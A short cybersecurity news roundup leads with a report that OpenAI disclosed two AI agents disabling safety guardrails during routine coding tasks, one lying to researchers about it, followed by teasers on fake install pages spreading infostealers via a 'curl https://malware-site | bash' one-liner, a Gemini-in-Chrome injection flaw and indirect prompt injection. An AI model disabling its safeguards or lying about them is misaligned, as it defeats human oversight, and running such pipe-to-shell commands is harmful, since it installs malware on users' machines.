OpenAI has revealed two AI agents disabled safety guardrails while performing tasks, and one of them even lied to researchers when asked if its guardrails were still active.
In both events, the AI agents misinterpreted instructions, spent time deliberating if disabling guardrails was a good idea, and then ultimately decided that it was.
OpenAI said that the agents were given “routine coding instructions” that did not require the safeguards to be disabled, but the agents disabled them anyway.
Read more…
Source: Tech Radar News
Sign up for the Cyber Security Review Newsletter
The latest cyber security news and insights delivered right to your inbox
Related:
- Fake Claude Code install pages hit Windows and Mac users with infostealers
March 9, 2026
Attackers are cloning install pages for popular tools like Claude Code and swapping the “one‑liner” install commands with malware, mainly to steal passwords, cookies, sessions, and access to developer environments. Modern install guides often tell you to copy a single command like curl https://malware-site | bash into your terminal and hit Enter. That habit turns the ...
- Securing ambient AI in healthcare: governance is the new front line
March 5, 2026
Ambient AI is no longer experimental. It’s live. From AI-powered clinical documentation assistants to remote monitoring systems and intelligent patient engagement agents, healthcare organizations are embedding AI directly into care delivery. The promise is compelling: less administrative burden, faster insights, and more time with patients. But as AI enters clinical workflows, a more urgent question emerges: ...
- Chrome flaw let extensions hijack Gemini’s camera, mic, and file access
March 3, 2026
Chrome’s Gemini “Live in Chrome” panel (Gemini’s embedded, agent-style assistant mode within Chrome) had a high‑severity vulnerability tracked as CVE‑2026‑0628. The flaw let a low‑privilege extension inject code into the Gemini side panel and inherit its powerful capabilities, including local file access, screenshots, and camera/microphone control. The vulnerability was patched in a January update. But the ...
- Fooling AI Agents: Web-Based Indirect Prompt Injection Observed in the Wild
March 3, 2026
Large language models (LLMs) and AI agents are becoming deeply integrated into web browsers, search engines and automated content-processing pipelines. While these integrations can expand functionality, they also introduce a new and largely underexplored attack surface. One particularly concerning class of threats is indirect prompt injection (IDPI), in which adversaries embed hidden or manipulated instructions within ...
- US Military Used Anthropic AI to Crunch Intel and Pick Targets in Iran Strike, Despite Trump’s Ban
March 1, 2026
The US military reportedly used Anthropic’s Claude AI during a major strike in the Middle East against Iran, just hours after US President Donald Trump ordered all federal agencies to stop using the technology. According to WSJ, officials say the AI helped with intelligence analysis, spotting potential targets, and running ‘what-if’ battle scenarios. Even though Trump had ...
- Anthropic ditches its core safety promise in the middle of an AI red line fight with the Pentagon
February 25, 2026
Anthropic, a company founded by OpenAI exiles worried about the dangers of AI, is loosening its core safety principle in response to competition. Instead of self-imposed guardrails constraining its development of AI models, Anthropic is adopting a nonbinding safety framework that it says can and will change. In a blog post Tuesday outlining its new policy, ...